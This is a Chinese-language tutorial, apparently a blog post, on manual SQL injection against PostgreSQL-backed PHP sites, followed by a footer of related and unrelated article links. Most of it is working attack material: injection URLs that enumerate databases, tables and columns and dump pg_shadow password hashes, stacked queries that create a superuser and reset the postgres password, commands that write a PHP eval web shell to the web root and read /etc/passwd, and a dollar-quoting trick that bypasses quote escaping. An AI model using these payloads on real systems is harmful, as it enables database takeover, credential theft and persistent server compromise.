一般注入多用于在mssql和mysql两类数据库中,如mssql+asp、mysql+php则是最为常见的搭配环境。不同的网站应用的数据库也大不一样,根据数据库的处理能力、负载等多重因素决定。本文主要述说下关于少见的一类数据库注入:PostgreSQL。

PostgreSQL是一种特性非常齐全的自由软件的对象-关系型数据库管理系统(ORDBMS),可以说是目前世界上最先进,功能最强大的自由数据库管理系统。Postgres 的基本语法与 mysql 类似,如果对手工注入或 sql 语法有较多了解不会有任何困难。 这里只列举几种语法特性与常用语句,以供参考,更多的资料参考官方文档: http://www.postgresql.org/docs/9.2/static/sql-syntax.html (注:所有的 sql 语句不区分大小写,无论是操作符还是字段名,Postgres 都是大小写不敏感的)。

了解PostgreSQL

1.同其他数据库一致,SQL语句基本一致
2.支持/*、/**/、–注释,;和\g表示语句结束
3.使用||可以连接字符串(类似于mssql中的+),同时需要注意特殊字符被转义
4.无法自动匹配字段
5.web管理程序为phpPgAdmin
6.开放的默认端口为5432

PostgreSQL注入语句

http://xxx/1.php?id=1+order+by+x--     //order by猜字段数

http://xxx/1.php?id=1+and+1::int=1--     //判断postgresql数据库

http://xxx/1.php?id=1+and+1=cast(version() as int)--    //通过cast类型转换来暴postgresql信息

http://xxx/1.php?id=1+and+1=2+union+select+null,null,null,null--     //全部用null填充 方便在测试类型

http://xxx/1.php?id=1+and+1=2+union+select+1,null,null,null,null--     //测试类型

http://xxx/1.php?id=1+and+1=2+union+select+1,null,version(),null,4--   //当前PostgreSQL版本

http://xxx/1.php?id=1+and+1=2+union+select+1,null,user,null,4--   //当前用户

http://xxx/1.php?id=1+and+1=2+union+select+1,null,current_schema(),null,4--   //当前用户权限

http://xxx/1.php?id=1+and+1=2+union+select+1,null,current_database(),null,4--

http://xxx/1.php?id=1+and+1=2+union+select+1,null,datname,null,4+from+pg_database+limit+1+offset+0--   //当前数据库名字

http://xxx/1.php?id=1+and+1=2+union+select+1,null,csession_user,null,4--   //会话用户

http://xxx/1.php?id=1+and+1=2+union+select+1,null,current_user,null,4--

http://xxx/1.php?id=1+and+1=cast(current_user ||999 as int)--   //目前执行环境下的用户名

http://xxx/1.php?id=1+and+1=2+union+select+1,null,relname,null,4+from+pg_stat_user_tables+limit+1+offset+0--   //到所有用户表,修改offset后面的
或(加入relkind=’r’,只查询普通表)
http://xxx/1.php?id=1+and+1=2+union+select+1,null,relname,null,4+from+pg_class+where+relkind='r'+limit+1+offset+0--

http://xxx/1.php?id=1+and+1=2+union+select+1,null,oid,null,4+from+pg_class+where+relname='表名'+limit+1+offset+0--   //得到表名为xxx的oid值
或(由于oid类型是oid,要数据类型兼容我们用cast函数强制转换成varchar类型)
http://xxx/1.php?id=1+and+1=2+union+select+1,null,cast(oid+as+varchar(10)),null,4+from+pg_class+where+relname='表名'+limit+1+offset+0--

http://xxx/1.php?id=1+and+1=2+union+select+1,null,column_name,null,4+from+information_schema.columns+where+table_name='表名'+limit+1+offset+0--     //读取每个表名的字段.(需要在information_schema模式没有删除的情况下)
或(利用对应表名为xxx的oid值)
http://xxx/1.php?id=1+and+1=2+union+select+1,null,attname,null,4+from+pg_attribute+where+attrelid=oid值+limit+1+offset+0–

http://xxx/1.php?id=1+and+1=2+union+select+1,null,usename||chr(124)||passwd,null,4+from+pg_shadow+limit+1+offset+0--   //数据库用户的信息pg_shadow(pg_shadow 关键字段username、passwd和usesuper,不过此表被做了权限设置)

postgres用户

注:postgres用户权限相当于mysql的root用户权限

新建用户(user=polar1dear,pwd=polar1dear)

;create+user+polar1dear+with+superuser+password+'polar1dear'--

修改postgres用户密码

;alter+user+postgres+with+password+'polar1dear'--

遍历当前数据库全部表

select+tablename+from+pg_tables+where+tablename+not+like+'pg%'+and+tablename+not+like+'sql_%'+order+by+tablename--

读、写文件

通过数据库写文件来获取webshell是最为直接的方式了,不需要找后台,也不需要找上传漏洞,甚至我们可以通过数据库来直接获取到服务器的hash值进行破解。

1.写文件(主要用于写后门)

http://xxx/1.php?id=1;create table polar1dear(shell text not null);   //创建表polar1dear和字段shell
http://xxx/1.php?id=1;insert into polar1dear values(‘<?php eval($_POST[cmd]);?>’);   //写入代码到数据库
http://xxx/1.php?id=1;copy polar1dear(shell) to '/var/www/html/xxx.php';   ////导出为xxx.php文件

则后门为:http://xxx/xxx.php
另一种简便的方法(直接一句话):
copy (select ‘<?php eval($_POST[cmd]);?>’) to ‘/var/www/html/xxx.php’

2.读文件

http://xxx/1.php?id=1;create table polar1dear(file text not null);     //创建表polar1dear和字段file
http://xxx/1.php?id=1;copy polar1dear(file) from '/etc/passwd';   //复制文件内容到字段中
http://xxx/1.php?id=1;select * from polar1dear;   //查询

转义绕过

如果PHP中开启了magic_quotes_gpc=on,那么很悲剧的是一些符号将会被转义,如执行select pass from member where name=”admin”,最后的语句执行时为:select pass from member where name=\”admin\”。其他数据库我们尝是通过hex、char编码来解决这个问题,而在PostgreSQL中除此之外还提供了一种新的方法来绕过。在语句中,允许我们通过$和$之间来绕过引号的转义或者过滤问题,可以改写成这样:select pass from member where name=$admin$,;insert into polar1dear values($$<?php eval($_POST[cmd]);?>$$);如此就成功的绕过了引号问题。

PostgreSQL注入基础的更多相关文章

  1. Sql注入基础原理介绍

    说明:文章所有内容均截选自实验楼教程[Sql注入基础原理介绍]~ 实验原理 Sql 注入攻击是通过将恶意的 Sql 查询或添加语句插入到应用的输入参数中,再在后台 Sql 服务器上解析执行进行的攻击, ...

  2. JNDI注入基础

    JNDI注入基础 一.简介 JNDI(The Java Naming and Directory Interface,Java命名和目录接口)是一组在Java应用中访问命名和目录服务的API,命名服务 ...

  3. Java Web系列:Spring依赖注入基础

    一.Spring简介 1.Spring简化Java开发 Spring Framework是一个应用框架,框架一般是半成品,我们在框架的基础上可以不用每个项目自己实现架构.基础设施和常用功能性组件,而是 ...

  4. 通过sqli-labs学习sql注入——基础挑战之less1-3

    首先,先看一些基础知识吧!!!!本人只是初学者,记录一下自己的学习过程,有什么错误之处请指出,谢谢!大佬请绕过!!!! url编码:一般的url编码其实就是那个字符的ASCII值得十六进制,再在前面加 ...

  5. 通过sqli-labs学习sql注入——基础挑战之less1

    环境准备: Phpstudy  (PHP+Apache+Mysql) Sql-lab 首先了解下基础知识: URL编码: 因为在浏览器中,当我们访问一个网址的时候,浏览器会自动将用户输入的网址进行UR ...

  6. postgresql架构基础(转)-(1)

    PostgreSQL使用一种客户端/服务器的模型.一次PostgreSQL会话由下列相关的进程(程序)组成: 一个服务器进程,它管理数据库文件.接受来自客户端应用与数据库的联接并且代表客户端在数据库上 ...

  7. Sqli-labs之sql注入基础知识

    (1)注入的分类 基于从服务器接收到的响应  ▲基于错误的SQL注入 ▲联合查询的类型 ▲堆查询注射 ▲SQL盲注 •基于布尔SQL盲注 •基于时间的SQL盲注 •基于报错的SQL盲注 基于如何处理输 ...

  8. WEB安全基础之sql注入基础

    1.基础sql语句 注释 单行注释# %23--+ --加空格多行注释/**/ SELECT(VERSION()) SELECT(USER()) SELECT(database()) 查数据库 SEL ...

  9. SQL手工注入基础篇

    0.前言 本篇博文是对SQL手工注入进行基础知识的讲解,更多进阶知识请参考进阶篇(咕咕),文中有误之处,还请各位师傅指出来.学习本篇之前,请先确保以及掌握了以下知识: 基本的SQL语句 HTTP的GE ...

随机推荐

  1. mysql 表关联批量更新

    项目中最近遇到了需要手动修改某个表的某个字段的数据,但是这个数据是来自别的表,需要关联,所以需要用到关联的批量更新,特此记录一下. UPDATE t_account_trans_info AS iiI ...

  2. 按照固定字符数切割字符串 基于python的re正则表达式

    def cut_text(text,lenth): textArr = re.findall('.{'+str(lenth)+'}', text) textArr.append(text[(len(t ...

  3. 洛谷P1140 基因匹配 //DP真正意义上的一血

    题目背景 大家都知道,基因可以看作一个碱基对序列.它包含了44种核苷酸,简记作A,C,G,TA,C,G,T.生物学家正致力于寻找人类基因的功能,以利用于诊断疾病和发明药物. 在一个人类基因工作组的任务 ...

  4. 摩羯座Capricornus

    Capricornus  摩羯座的人通常会如何拒绝别人. 摩羯座的人做事脚踏实地,比较固执,忍耐力也是出奇的强大,同时也非常勤奋.他们心中总是背负着很多的责任感,但往往又很没有安全感,不会完全地相信别 ...

  5. 乐观锁vs悲观锁, 集群vs分布式 , 微服务, 幂等性

    乐观锁: 总认为不会产生并发问题,因此不会上锁,更新时会判断其他线程在这之前有没有对数据进行修改,一般会使用版本号机制或CAS操作来实现 version: 数据上有数据版本号version字段,每次更 ...

  6. PL/SQL Developer如何导出数据成sql的insert语句

    1.选择菜单 , [工具]-[导出表] 2.选择tab标签页的,[SQL插入] 注意where条件语句,注意要选择相应的表 3.选择输出

  7. echarts 去掉 x轴坐标

    symbol:'none', //这句就是去掉点的 smooth:true,

  8. Unity中用Mono插件解析xml文件

    1.解压压缩包,把文件夹拖到脚本文件夹下 Mono是第三方基金会开发的开源的东西,通过Mono基础上开发的程序可以在各个系统下运行.开发语言是C#. 用插件解析比较高效,平台运行稳定.使用简单. Un ...

  9. 汽车行业解决方案_K2助力车企实现费控/生产“端到端流程”

    如今汽车行业正面对一轮全球范围内新变革周期,这种“变革”一方面来源于在新能源技术.人工智能.信息技术.物联网技术等高新科技地猛烈敲击,另一方面源于全球的经济政策变幻莫测,贸易保护时代地到来,车企深陷发 ...

  10. Git 工具 - 储藏(Stashing)

    储藏(Stashing) 经常有这样的事情发生,当你正在进行项目中某一部分的工作,里面的东西处于一个比较杂乱的状态,而你想转到其他分支上进行一些工作.问题是,你不想提交进行了一半的工作,否则以后你无法 ...